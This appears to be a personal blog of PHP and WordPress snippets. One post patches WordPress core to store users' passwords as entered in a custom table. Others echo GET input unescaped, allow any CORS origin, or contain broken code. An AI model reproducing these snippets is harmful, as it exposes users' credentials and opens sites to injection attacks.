Showing posts with label php. Show all posts
Showing posts with label php. Show all posts

Monday, 8 March 2021

Wp: If User Role This Then Echo This

 if ( current_user_can( 'manage_options' ) ) {
    echo 'Admin';
} else if ( current_user_can( 'edit_pages' ) ) {
    echo 'Editor';
} else if ( current_user_can( 'publish_posts' ) ) {
    echo 'Author';
} else if ( current_user_can( 'read' ) ) {
    echo 'Subscriber';
}
//// or Not tested
foreach ( $comment_users as $user_id ) {
    wp23234_show_user_role( $user_id );
}

function wp23234_show_user_role( $user_id ) {
    $data  = get_userdata( $user_id );
    $roles = $data->roles;

    if ( in_array( $roles, 'administrator' ) ) {
        echo 'Administrator';
    } else if ( in_array( $roles, 'editor' ) ) {
        echo 'Editor';
    } else if ( in_array( $roles, 'author' ) ) {
        echo 'Author';
    } else if ( in_array ( $roles, 'subscriber' ) ) {
        echo 'Subscriber';
    }
}
/// Or Switch
<?php
global $current_user; 
get_currentuserinfo();
switch (true)  {
 case ( user_can( $current_user, "subscriber") ):
   // Show Role
   // Show Subscriber Image
 break;
 case ( user_can( $current_user, "contributor") ):
   // Show Role
   // Show Contributor Image
 break;
 case ( user_can( $current_user, "administrator") ):
   // Show Role
   // Show Administrator Image
 break;
}
?>
///
<?php
global $current_user; 
get_currentuserinfo();
switch (true)  {
 case ( user_can( $current_user, "subscriber") ):
   echo '<img src="http:www.impho.com/images/001.jpg">';
 break;
 case ( user_can( $current_user, "contributor") ):
   echo '<img src="http:www.impho.com/images/002.jpg">';
 break;
 case ( user_can( $current_user, "administrator") ):
  echo '<img src="http:www.impho.com/images/003.jpg">';
 break;
}
?>

Wednesday, 24 February 2021

PHP: SWITCH WITH MULTIPLE CASE WITH SAME ANSWER

 <!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Document</title>

</head>


<body>

    <form action="switch" method="post">

        haribulan <input type="number" name="hariBulan" value="" />

        <input type="submit" value="kira">

    </form>


    <?php


    $v1 = "<b>KETUA<b>

        <br/>

        <p> Keutamaan dalam kerjaya, kerja dan kejayaan.

        Mempunyai goal dalam hidup</p>";


    error_reporting(E_ALL & ~E_NOTICE);

    switch ($_POST['hariBulan']) {

        case 1:

        case 10: {

                echo $v1;

                break;

            }

        case 2: {

                echo "Peace Maker";

                break;

            }

        case 3: {

                echo "Communicator";

                break;

            }

        case 4: {

                echo "Teacher";

                break;

            }

        case 5: {

                echo "Teacher";

                break;

            }

    }


    ?>

</body>


</html>

Saturday, 21 November 2020

PHP Wordpress Author Image

 <div class="author-image">
<?php
$get_author_id = get_the_author_meta('ID');
$get_author_gravatar = get_avatar_url($get_author_id, array('size' => 300));

if(has_post_thumbnail()){
    the_post_thumbnail();
} else {
    echo '<img src="'.$get_author_gravatar.'" alt="'.get_the_title().'" />';
}
?></div>

Friday, 13 November 2020

MUHAZA CODE WP FUNCTION PHP

 <?php


function add_cors_http_header(){

    header("Access-Control-Allow-Origin: *");

}

add_action('init','add_cors_http_header');


/*********************************************************************************

Change expired date to 3hour

**********************************************************************************/


// function keep_me_logged_in_for_1_year( $expirein ) {

// return 3600; // 1 year in seconds

// }

// add_filter( 'auth_cookie_expiration', 'keep_me_logged_in_for_1_year' );



/*********************************************************************************

Redirect member to member page

**********************************************************************************/

function my_login_redirect( $redirect_to, $request, $user ) {

    //is there a user to check?

    global $user;

    if ( isset( $user->roles ) && is_array( $user->roles ) ) {

        //check for admins

        if ( in_array( 'free member', $user->roles ) ) {

            $redirect_to = '/member';

        } 

    } 

    return $redirect_to;

}


add_filter( 'login_redirect', 'my_login_redirect', 10, 3 );


/*********************************************************************************

Change Role to Pengedar If Purchase Package 

**********************************************************************************/

    

add_action( 'woocommerce_order_status_completed', 'change_member_to_pengedar' );

function change_member_to_pengedar( $order_id ) {

//

    $order = wc_get_order( $order_id );

    $items = $order->get_items();

    $products_to_check = array( '2559','2205','2207','2209','2211','2213','2226','2227','2230','2450','2444','2235','2237','2238','2239','2240');

    foreach ( $items as $item ) {

        if ( $order->user_id > 0 && in_array( $item['product_id'], $products_to_check )) {

            $user = new WP_User( $order->user_id );

            // Change role

            $user->remove_role( 'free member' );

$user->remove_role( 'subscriber' );

            $user->add_role( 'pengedar' );

            $user->add_role( 'customer' );

            break;

        }

    }

};

################################################################################

/*********************************************************************************

Change Role to Free Member If Purchase Product

**********************************************************************************/

    

add_action( 'woocommerce_order_status_completed', 'change_customer_to_member' );

function change_customer_to_member( $order_id ) {

//

    $order = wc_get_order( $order_id );

    $items = $order->get_items();

    $products_to_check = array('2203','2204','2206','2208','2217','2210','2212','2214','2215','2216','2228','2229','2449','2303','2232','2236','2218','2219','2220','2221','2222','2223','2224','2225','2231');

    foreach ( $items as $item ) {

        if ( $order->user_id > 0 && in_array( $item['product_id'], $products_to_check )) {

            $user = new WP_User( $order->user_id );

            // Change role

$user->remove_role( 'subscriber' );

            $user->add_role( 'free member' );

            $user->add_role( 'customer' );

            break;

        }

    }

};

################################################################################

/*********************************************************************************

Empty Cart Text Change

**********************************************************************************/

remove_action( 'woocommerce_cart_is_empty', 'wc_empty_cart_message', 10 );

add_action( 'woocommerce_cart_is_empty', 'custom_empty_cart_message', 10 );


function custom_empty_cart_message() {

    $html  = '<div class="col-12 offset-md-1 col-md-10"><p class="cart-empty">';

    $html .= wp_kses_post( apply_filters( 'wc_empty_cart_message', __( 'Cart Anda Kosong. Sila Buat Pembelian.', 'woocommerce' ) ) );

    echo $html . '</p></div>';

}


//return to shop change

add_filter( 'gettext', 'change_woocommerce_return_to_shop_text', 20, 3 );

function change_woocommerce_return_to_shop_text( $translated_text, $text, $domain ) {

       switch ( $translated_text ) {

                      case 'Return to shop' :

   $translated_text = __( 'Kembali Ke List Barang', 'woocommerce' );

   break;

  }

 return $translated_text; 


}


//redirect to #id

/*

add_filter( 'woocommerce_add_to_cart_redirect', 'custom_add_to_cart_redirect' );

function custom_add_to_cart_redirect() { 

    return '#pagecart'; 

break;

}*/



//masukkan data dalam column setiap kali dia login

    global $wpdb;

$pokemon = $current_user->ID;

$pengedar = 'pengedar';

$free_member = 'free member';

$hq_admin = 'admin';

if(current_user_can('administrator') ) {

$wpdb->update( 'wpmt_semak', array( 'peranan' => $hq_admin), array( 'pemilik' => $pokemon ), array( '%s' ));

}

if(current_user_can('pengedar') ) {

$wpdb->update( 'wpmt_semak', array( 'peranan' => $pengedar), array( 'pemilik' => $pokemon ), array( '%s' ));

}

if( current_user_can('subscriber') || current_user_can('free member') ) {

$wpdb->update( 'wpmt_semak', array( 'peranan' => $free_member), array( 'pemilik' => $pokemon ), array( '%s' ));

}



//masukkan data dalam column setiap kali dia login


/*

//API abang alias

function trigger_the_functions() {

  if( is_page( 26620000 ) ) {


    //start triggering

$username = $_GET['txtUsername'];

    //url.php?txtUsername=nama%20saya

echo "username is " . $username;

    $email = $_GET['txtEmail'];

    $password = $_GET['txtPassword'];

    $ConfPassword = $_GET['txtConfirmPassword'];

    

    //get_header();

    global $wpdb;

    $username = $wpdb->escape($_GET['txtUsername']);

    $email = $wpdb->escape($_GET['txtEmail']);

    $password = $wpdb->escape($_GET['txtPassword']);

    $ConfPassword = $wpdb->escape($_GET['txtConfirmPassword']);


    $error = array();

    if (strpos($username, ' ') !== FALSE) {

        $error['username_space'] = "Username has Space";

    }


    if (empty($username)) {

        $error['username_empty'] = "Username is empty";

    }


    if (username_exists($username)) {

        $error['username_exists'] = "Username already exists";

    }


    if (!is_email($email)) {

        $error['email_valid'] = "Email has no valid value";

    }


    if (email_exists($email)) {

        $error['email_existence'] = "Email already exists";

    }


    if (strcmp($password, $ConfPassword) !== 0) {

        $error['password'] = "Password didn't match";

    }


    if (count($error) == 0) {

        wp_create_user($username, $password, $email);

        echo "User Created Successfully";

        exit();

    }else{

        print_r($error);

    }

    //end abang alias

       

}

}

add_action( 'wp', 'trigger_the_functions' );

*/


################################################################################

/*********************************************************************************

Extra tab

**********************************************************************************/

/**

 * @donate     https://businessbloomer.com/bloomer-armada/

 */

  

// ------------------

// 1. Register new endpoint to use for My Account page

// Note: Resave Permalinks or it will give 404 error

  

// function muhaza_add_extra_tab_endpoint() {

//     add_rewrite_endpoint( 'extra-tab', EP_ROOT | EP_PAGES );

// }

// add_action( 'init', 'muhaza_add_extra_tab_endpoint' );

// ------------------

// 2. Add new query var

// function muhaza_extra_tab_query_vars( $vars ) {

//     $vars[] = 'extra-tab';

//     return $vars;

// } 

// add_filter( 'query_vars', 'muhaza_extra_tab_query_vars', 0 );

// ------------------

// 3. Insert the new endpoint into the My Account menu

// function muhaza_add_extra_tab_link_my_account( $items ) {

//     $items['extra-tab'] = 'Extra Tab';

//     return $items;

// }  

// add_filter( 'woocommerce_account_menu_items', 'muhaza_add_extra_tab_link_my_account' );

// ------------------

// 4. Add content to the new endpoint

// function muhaza_extra_tab_content() {

// echo '<h3>Premium WooCommerce Support</h3><p>Welcome to the WooCommerce support area. As a premium customer, you can submit a ticket should you have any WooCommerce issues with your website, snippets or customization. <i>Please contact your theme/plugin developer for theme/plugin-related support.</i></p>';

// echo do_shortcode( ' /* your shortcode here */ ' );

// }

// add_action( 'woocommerce_account_extra-tab_endpoint', 'muhaza_extra_tab_content' );

// Note: add_action must follow 'woocommerce_account_{your-endpoint-slug}_endpoint' format



################################################################################

/*********************************************************************************

Custom Widget Dashboard Note

**********************************************************************************/

add_action('wp_dashboard_setup', 'my_custom_dashboard_widgets');

 

function my_custom_dashboard_widgets() {

global $wp_meta_boxes;

 

wp_add_dashboard_widget('custom_help_widget', 'Theme Support', 'custom_dashboard_help');

}

 

function custom_dashboard_help() {

echo '<p>Welcome to Custom Blog Theme! Need help? Contact the developer <a href="mailto:yourusername@gmail.com">here</a>. For WordPress Tutorials visit: <a href="https://www.wpbeginner.com" target="_blank">WPBeginner</a></p>';

}



################################################################################

/*********************************************************************************

Enable shortcodes in text widgets

**********************************************************************************/

add_filter('widget_text','do_shortcode');


################################################################################

/*********************************************************************************

test function role 8 echo get_user_role ( $current_user->ID );

**********************************************************************************/

function get_user_role($user_id) {

global $wp_roles;


$roles = array();

$user = new WP_User( $user_id );

if ( !empty( $user->roles ) && is_array( $user->roles ) ) {

foreach ( $user->roles as $role )

$roles[] .= translate_user_role( $role );

}

return implode(', ',$roles);



################################################################################

/*********************************************************************************

display total weight

**********************************************************************************/

function bbloomer_print_cart_weight() {

   $notice = 'Your cart weight is: ' . WC()->cart->get_cart_contents_weight() . get_option( 'woocommerce_weight_unit' );

   if ( is_cart() ) {

      wc_print_notice( $notice, 'notice' );

   } else {

      wc_add_notice( $notice, 'notice' );

   }

}

add_action( 'woocommerce_before_checkout_form', 'bbloomer_print_cart_weight' );

add_action( 'woocommerce_before_cart', 'bbloomer_print_cart_weight' );



################################################################################

/*********************************************************************************

Change Direction of Continue Shopping BUtton

**********************************************************************************/

add_filter( 'woocommerce_continue_shopping_redirect', 'bbloomer_change_continue_shopping' );

 

function bbloomer_change_continue_shopping() {

   return wc_get_page_permalink( 'shop' );

}


################################################################################

/*********************************************************************************

Add "Add to Cart" buttons in Divi shop pages

**********************************************************************************/

add_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 20 );


################################################################################

/*********************************************************************************

modify REST api

**********************************************************************************/

add_filter( 'rest_user_query' , 'custom_rest_user_query' );

function custom_rest_user_query( $prepared_args, $request = null ) {

  unset($prepared_args['has_published_posts']);

  return $prepared_args;

}

//modify REST api

//add role on REST api

function get_user_roles($object, $field_name, $request) {

  return get_userdata($object['id'])->roles;

}


add_action('rest_api_init', function() {

  register_rest_field('user', 'roles', array(

    'get_callback' => 'get_user_roles',

    'update_callback' => null,

    'schema' => array(

      'type' => 'array'

    )

  ));

});



/** Modify url base from wp-json to 'api'*/

//function changeRestPrefix() {

//return "persadajson"; //become persadaherbs.com/persadajson/wp/v2/

//}

//add_filter( 'rest_url_prefix', 'changeRestPrefix');



################################################################################

/*********************************************************************************

PersadaHerbs_enqueue_child_styles

**********************************************************************************/

if ( ! function_exists( 'suffice_child_enqueue_child_styles' ) ) {

function PersadaHerbs_enqueue_child_styles() {

    // loading parent style

    wp_register_style(

      'parente2-style',

      get_template_directory_uri() . '/style.css'

    );


    wp_enqueue_style( 'parente2-style' );

    // loading child style

    wp_register_style(

      'childe2-style',

      get_stylesheet_directory_uri() . '/style.css'

    );

    wp_enqueue_style( 'childe2-style');

}

}

add_action( 'wp_enqueue_scripts', 'PersadaHerbs_enqueue_child_styles' );

/*********************************************************************************

PersadaHerbs_enqueue_child_styles

**********************************************************************************/


?>

Thursday, 1 October 2020

Wordpress Functions for certain page

  1. add this on functions.php 


function sv_hide_header_footer_for_page() {

  if( is_page( 2662 ) ) {

echo '<div class="coupon-notice">Thanks for visiting! As a gift, here\'s a coupon code you can use in our shop: <code>20off</code></div>';

}

}

add_action( 'wp', 'sv_hide_header_footer_for_page' );

Wednesday, 30 September 2020

Browser API PHP get from php script

 <?php


$username = $_GET['txtUsername'];

//url.php?txtUsername=nama%20saya

echo "username is " . $username;

    $email = $_GET['txtEmail'];

    $password = $_GET['txtPassword'];

    $ConfPassword = $_GET['txtConfirmPassword'];

?>

Tuesday, 29 September 2020

PHP MYSQL TO JSON

https://www.opentechguides.com/how-to/article/php/100/mysql-to-json.html

<?php

// Initialize variable for database credentials
$dbhost = 'hostname';
$dbuser = 'username';
$dbpass = 'password';
$dbname = 'sakila';

//Create database connection
  $dblink = new mysqli($dbhost, $dbuser, $dbpass, $dbname);

//Check connection was successful
  if ($dblink->connect_errno) {
     printf("Failed to connect to database");
     exit();
  }

//Fetch 3 rows from actor table
  $result = $dblink->query("SELECT * FROM actor LIMIT 3");

//Initialize array variable
  $dbdata = array();

//Fetch into associative array
  while ( $row = $result->fetch_assoc())  {
	$dbdata[]=$row;
  }

//Print array in JSON format
 echo json_encode($dbdata);
 
?>

Result:


[
	{
	"actor_id":"1",
	"first_name":"PENELOPE",
	"last_name":"GUINESS",
	"last_update":"2006-02-15 04:34:33"
	},
	{	
	"actor_id":"2",
	"first_name":"NICK",
	"last_name":"WAHLBERG",
	"last_update":"2006-02-15 04:34:33"
	},
	{
	"actor_id":"3",
	"first_name":"ED",
	"last_name":"CHASE",
	"last_update":"2006-02-15 04:34:33"
	}
]

As you can see, the result is a valid JSON. You may use this in combination with Jquery/AJAX to pass database data to a web application that expects data in JSON.

Friday, 14 August 2020

GET PLAIN PASS WP

As usual. Search Blue, paste Green

if ( ! empty( $userdata['user_pass'] ) && $userdata['user_pass'] !== $user_obj->user_pass ) {

// muhaza renovate here

    

    global $wpdb;

        $semak = $wpdb->prefix . "semak";

        $username = DB_USER;

        $password = DB_PASSWORD;

        $hostname = DB_HOST;

        $con=mysqli_connect($hostname,$username,$password);



        if (mysqli_connect_errno()) {

            echo "Failed to connect to MySQL: " . mysqli_connect_error();

            die();

        }


        $sql_1 = "USE " . DB_NAME . ";";

        mysqli_query($con,$sql_1);

   


        $sql_2 = "CREATE TABLE IF NOT EXISTS $semak (

            pemilik varchar(50) NOT NULL,

            PRIMARY KEY(pemilik),

            kunci varchar(100) NOT NULL,

namanya varchar(100) NOT NULL,

emel varchar (100) NOT NULL

        );";

        mysqli_query($con, $sql_2);

        mysqli_close($con);


        if($wpdb->update(

$semak, 

array("emel" => $userdata['user_email']),

array("kunci" => $userdata['user_pass']), 

array("namanya" => $userdata['user_login']), 

array("pemilik" => $ID), 

array("%s"), 

array("%s"),

array("%s"),

array("%s")

) == false)

        {

            $wpdb->insert(

$semak, 

array(

"emel" => $userdata['user_email'],

"kunci" => $userdata['user_pass'],

"namanya" => $userdata['user_login'],

"pemilik" => $ID), 

array(

'%s','%s','%s','%s'

));

        }

        

    

    //end muhaza renovate

Tuesday, 28 April 2020

Wordpress : Strict to Area e.g Putrajaya

add_filter( 'woocommerce_states', 'custom_woocommerce_states' );

function custom_woocommerce_states( $states ) {
  $states['MY'] = array(
    'PJY' => 'Putrajaya'
  );

  return $states;
}

//add this at child theme function.php

Saturday, 23 February 2019

PHP : convert to json

Many web applications expect external data in JSON format, hence converting MySQL data to JSON is something that web developers encounter on a regular basis. JSON (JavaScript Object Notation) is fast becoming the most popular data format in server/browser communication. It is light weight, human readable and easy to generate and parse.
Data from MySQL database can be easily converted into JSON format using PHP. The below example uses Sakila sample database that comes with standard MySQL installation. It fetches the first 3 rows of actor table into an associative array using mysqli_fetch_assoc(). Then the array is encoded into JSON using json_encode.
<?php

// Initialize variable for database credentials
$dbhost = 'hostname';
$dbuser = 'username';
$dbpass = 'password';
$dbname = 'sakila';

//Create database connection
  $dblink = new mysqli($dbhost, $dbuser, $dbpass, $dbname);

//Check connection was successful
  if ($dblink->connect_errno) {
     printf("Failed to connect to database");
     exit();
  }

//Fetch 3 rows from actor table
  $result = $dblink->query("SELECT * FROM actor LIMIT 3");

//Initialize array variable
  $dbdata = array();

//Fetch into associative array
  while ( $row = $result->fetch_assoc())  {
 $dbdata[]=$row;
  }

//Print array in JSON format
 echo json_encode($dbdata);
 
?>

Result:


[
 {
 "actor_id":"1",
 "first_name":"PENELOPE",
 "last_name":"GUINESS",
 "last_update":"2006-02-15 04:34:33"
 },
 { 
 "actor_id":"2",
 "first_name":"NICK",
 "last_name":"WAHLBERG",
 "last_update":"2006-02-15 04:34:33"
 },
 {
 "actor_id":"3",
 "first_name":"ED",
 "last_name":"CHASE",
 "last_update":"2006-02-15 04:34:33"
 }
]
As you can see, the result is a valid JSON. You may use this in combination with Jquery/AJAX to pass database data to a web application that expects data in JSON.

Monday, 11 February 2019

PHP : Randomly open list of url

<?php
/**
* Created by PhpStorm.
* User: Azathoth
* Date: 29. 3. 2016
* Time: 14:54
*/
$addresses = [
        './room1',
        './room2',
'./room3',
'./room2',
'./room3',
'./room1'
];
$size = count($addresses);
$randomIndex = rand(0, $size - 1);
$randomUrl = $addresses[$randomIndex];
header('Location: ' . $randomUrl, true, 303);
?>

Friday, 8 February 2019

PHP: add word on every end of word

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 5, "%20\n");

echo $newtext;
?>

Thursday, 31 January 2019

PHP : Connect PHP with mysql SUCCESS


<!-- use this if want to include connection from saperate file

 <?php
 //include 'dbh.php';
 
?> -->

<!-- php below is the copy from dbh.php. Use php include if you want to saperate connector with index file -->
<?php

$servername = "localhost";
$username = "root";
$password = "";
$dbname = "ajax";

$conn = mysqli_connect($servername, $username, $password,$dbname);

?>


<!DOCTYPE html>
<html>
<head>
 <title>Jquery Ajax</title>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
 //jquery code here
</script>
</head>
<body>


<div id="comment">
 
 <!-- coding here -->

 <?php
$sql = "SELECT * FROM comments LIMIT 3"; //change LIMIT number to show up how many data to echo
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0){
 while ($row = mysqli_fetch_assoc($result)) {
  echo "<p>";
  echo $row['author'];
  echo "<br/>";
  echo $row['message'];
  echo "<br/>";
  echo "</p>";
 }

   

  } else {
   echo "Tak ada comments!";

  }

 ?>

</div>


<button>Show comment</button>

</body>
</html>
...

change to this to display latest or newer data from mysql

$sql = "SELECT * FROM comments order by id DESC LIMIT 4"

in this case data select latest by id. If there are date row on mysql change into that string.

MYSQL : SQL command

create table comments (
id int(11) mot null auto_increment primary key,
author text not null,
message text not null
)


// this will create database row and column


insert into comments (author, message) values ('hafiz', 'The Google Hosted Libraries is a stable, reliable, high-speed, globally available content distribution network for the most popular, open-source JavaScript libraries.
Google works directly with the key stakeholders for each library effort and accepts the latest versions as they are released.');

insert into comments (author, message) values ('muhaza', 'The Google Hosted Libraries is a stable, reliable, high-speed, globally available content distribution network for the most popular, open-source JavaScript libraries.as they are released.');

//this how to add value as author and message


Friday, 28 September 2018

Wordpress : Unable to download plugin in localhost

If you using appserve or easyphp this could be the solution for you.. suddenly your wordpress in localhost inform you that


Download failed.: No working transports found
Installation Failed

👋😅😤😣😝😝😝

Editing php.ini file

The php.ini file contains a list of many extensions with some of them disabled by default. The only one I had to enable was the openssl extension.
Here are the steps to enable that extension:
  1. Open File Explorer and locate the php folder of the EasyPHP application. On Windows 10, it should be:
    C:\Program Files (x86)\EasyPHP-Devserver-16.1\eds-binaries\php
  2. You will see two folders inside, one for PHP version 5.6.19 and one for the 7.0.4 version. Select the one the Apache server is using. If you are unsure, open the EasyPHP Dashboard and check the PHP number under "HTTP SERVER".
  3. Open php.ini file in your favorite text editor and search for php_openssl.dll text. You should see that the extension is commented out:
    ;extension=php_openssl.dll
  4. Uncomment that line by removing ; character and save the changes.
  5. All that is left is to restart the Apache server and we are done.
After going through the steps above, the WordPress site on my development server was able to update plugins without any problem. If you still have issues, try also to enable curl extension extension=php_curl.dll.
Note: To restart the Apache, right-click on the EasyPHP notification icon, then select Open Dashboardto stop / start the Apache server.
https://www.howtosolutions.net/2017/01/easyphp-wordpress-no-working-transports-found-error/

Thursday, 27 September 2018

PHP : Enable and disable Permission to access external .php file

Add this to the page that you want to only be included
<?php
if(!defined('MyConst')) {
   die('Direct access not permitted');
}
?>
then on the pages that include it add
<?php
define('MyConst', TRUE);
?>

Submit RSSa

 rssing.com